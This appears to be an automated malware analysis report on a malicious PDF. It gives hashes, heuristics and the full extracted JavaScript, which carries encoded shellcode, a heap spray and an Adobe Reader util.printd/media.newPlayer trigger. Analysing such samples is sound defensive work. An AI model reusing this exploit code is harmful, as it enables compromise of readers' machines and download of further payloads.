Malicious PDF — malware analysis report

Static analysis result for SHA-256 823b04ab7e43b189…

MALICIOUS

PDF

1.7 KB First seen: 2026-05-10
MD5: 2a3d5b7a5ed270f7a8cf9cb45dec6778 SHA-1: c033c682eea5fb245c9f5944db8467b737a27958 SHA-256: 823b04ab7e43b189b93e0844fca638eb2e6bc0ebdc0a407034e81907e685be01
148 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The PDF file contains embedded JavaScript that is heavily obfuscated but triggers heuristics related to heap spraying and exploit clusters. The JavaScript is likely designed to download and execute a second-stage payload, as indicated by the 'PDF_JS_EXPLOIT_CLUSTER' and 'PDF_UNESCAPE' firings. The presence of obfuscated JavaScript and exploit-related signals strongly suggests a malicious document intended for exploitation.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9999

Heuristics 4

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    for(i=0;i<W1o029.length;){WoA=WoA+'%u'+W1o029[i+1]+W1o029[i]; i=i+2;}
var Wo = unescape(WoA);
var yR = unescape('%u3727%u27f5');
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0005_000.js pdf-javascript-stream PDF /JS object 5 at offset 0x156 4433 bytes
SHA-256: fecdefe6cce8666d5a85466821c1dc668d0e6979eb06692fed4180a2bc9aa494
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
W1o000=["EB","54","8B","75","3C","8B","74","35","78","03"];
W1o001=["F5","56","8B","76","20","03","F5","33","C9","49"];
W1o002=["41","AD","33","DB","36","0F","BE","14","28","38"];
W1o003=["F2","74","08","C1","CB","0D","03","DA","40","EB"];
W1o004=["EF","3B","DF","75","E7","5E","8B","5E","24","03"];
W1o005=["DD","66","8B","0C","4B","8B","5E","1C","03","DD"];
W1o006=["8B","04","8B","03","C5","C3","75","72","6C","6D"];
W1o007=["6F","6E","2E","64","6C","6C","00","43","3A","5C"];
W1o008=["55","2E","65","78","65","00","33","C0","64","03"];
W1o009=["40","30","78","0C","8B","40","0C","8B","70","1C"];
W1o010=["AD","8B","40","08","EB","09","8B","40","34","8D"];
W1o011=["40","7C","8B","40","3C","95","BF","8E","4E","0E"];
W1o012=["EC","E8","84","FF","FF","FF","83","EC","04","83"];
W1o013=["2C","24","3C","FF","D0","55","50","BF","33","CA"];
W1o014=["8A","5B","E8","6F","FF","FF","FF","8B","DC","83"];
W1o015=["C3","10","53","BB","78","56","34","12","81","EB"];
W1o016=["54","46","34","12","53","FF","D0","BF","38","22"];
W1o017=["AC","E7","E8","51","FF","FF","FF","8B","DC","83"];
W1o018=["C3","10","53","6A","21","E8","00","00","00","00"];
W1o019=["59","83","C1","53","90","51","53","FF","D0","8B"];
W1o020=["2C","24","BF","36","1A","2F","70","E8","2E","FF"];
W1o021=["FF","FF","8B","D4","83","C2","10","33","DB","53"];
W1o022=["53","52","EB","2C","5B","83","C3","03","53","33"];
W1o023=["DB","53","FF","D0","5D","5D","BF","98","FE","8A"];
W1o024=["0E","E8","0C","FF","FF","FF","89","24","24","80"];
W1o025=["04","24","08","FF","D0","BF","7E","D8","E2","73"];
W1o026=["E8","F9","FE","FF","FF","52","FF","D0","E8","CF"];
W1o027=["FF","FF","FF","70","66","00","68","3A","5C","77"];
W1o028=["69","6E","64","6F","77","73","5C","73","79","73"];
W1o029=["74","65","6D","33","32","5C","63","61","6C","63"];
W1o030=["2E","65","78","65","00","00","00","00","00","00"];
var WoA="";
for(i=0;i<W1o000.length;){WoA=WoA+'%u'+W1o000[i+1]+W1o000[i]; i=i+2;}
for(i=0;i<W1o001.length;){WoA=WoA+'%u'+W1o001[i+1]+W1o001[i]; i=i+2;}
for(i=0;i<W1o002.length;){WoA=WoA+'%u'+W1o002[i+1]+W1o002[i]; i=i+2;}
for(i=0;i<W1o003.length;){WoA=WoA+'%u'+W1o003[i+1]+W1o003[i]; i=i+2;}
for(i=0;i<W1o004.length;){WoA=WoA+'%u'+W1o004[i+1]+W1o004[i]; i=i+2;}
for(i=0;i<W1o005.length;){WoA=WoA+'%u'+W1o005[i+1]+W1o005[i]; i=i+2;}
for(i=0;i<W1o006.length;){WoA=WoA+'%u'+W1o006[i+1]+W1o006[i]; i=i+2;}
for(i=0;i<W1o007.length;){WoA=WoA+'%u'+W1o007[i+1]+W1o007[i]; i=i+2;}
for(i=0;i<W1o008.length;){WoA=WoA+'%u'+W1o008[i+1]+W1o008[i]; i=i+2;}
for(i=0;i<W1o009.length;){WoA=WoA+'%u'+W1o009[i+1]+W1o009[i]; i=i+2;}
for(i=0;i<W1o010.length;){WoA=WoA+'%u'+W1o010[i+1]+W1o010[i]; i=i+2;}
for(i=0;i<W1o011.length;){WoA=WoA+'%u'+W1o011[i+1]+W1o011[i]; i=i+2;}
for(i=0;i<W1o012.length;){WoA=WoA+'%u'+W1o012[i+1]+W1o012[i]; i=i+2;}
for(i=0;i<W1o013.length;){WoA=WoA+'%u'+W1o013[i+1]+W1o013[i]; i=i+2;}
for(i=0;i<W1o014.length;){WoA=WoA+'%u'+W1o014[i+1]+W1o014[i]; i=i+2;}
for(i=0;i<W1o015.length;){WoA=WoA+'%u'+W1o015[i+1]+W1o015[i]; i=i+2;}
for(i=0;i<W1o016.length;){WoA=WoA+'%u'+W1o016[i+1]+W1o016[i]; i=i+2;}
for(i=0;i<W1o017.length;){WoA=WoA+'%u'+W1o017[i+1]+W1o017[i]; i=i+2;}
for(i=0;i<W1o018.length;){WoA=WoA+'%u'+W1o018[i+1]+W1o018[i]; i=i+2;}
for(i=0;i<W1o019.length;){WoA=WoA+'%u'+W1o019[i+1]+W1o019[i]; i=i+2;}
for(i=0;i<W1o020.length;){WoA=WoA+'%u'+W1o020[i+1]+W1o020[i]; i=i+2;}
for(i=0;i<W1o021.length;){WoA=WoA+'%u'+W1o021[i+1]+W1o021[i]; i=i+2;}
for(i=0;i<W1o022.length;){WoA=WoA+'%u'+W1o022[i+1]+W1o022[i]; i=i+2;}
for(i=0;i<W1o023.length;){WoA=WoA+'%u'+W1o023[i+1]+W1o023[i]; i=i+2;}
for(i=0;i<W1o024.length;){WoA=WoA+'%u'+W1o024[i+1]+W1o024[i]; i=i+2;}
for(i=0;i<W1o025.length;){WoA=WoA+'%u'+W1o025[i+1]+W1o025[i]; i=i+2;}
for(i=0;i<W1o026.length;){WoA=WoA+'%u'+W1o026[i+1]+W1o026[i]; i=i+2;}
for(i=0;i<W1o027.length;){WoA=WoA+'%u'+W1o027[i+1]+W1o027[i]; i=i+2;}
for(i=0;i<W1o028.length;){WoA=WoA+'%u'+W1o028[i+1]+W1o028[i]; i=i+2;}
for(i=0;i<W1o029.length;){WoA=WoA+'%u'+W1o029[i+1]+W1o029[i]; i=i+2;}
var Wo = unescape(WoA);
var yR = unescape('%u3727%u27f5');
for(i=0;i<15;){yR+=yR;i ++;}
yR=yR.substring(0,32768 - Wo.length);

memory=new Array();

for(i=0;i<0x2000;) {
	memory[i]= yR + Wo; i ++;
}

util.printd("1.345678901.345678901.3456 : 1.31.34", new Date());
util.printd("1.345678901.345678901.3456 : 1.31.34", new Date());
try {var obj = this.media;obj['new'+'Player'](null);} catch(e) {}
util.printd("1.345678901.345678901.3456 : 1.31.34", new Date());

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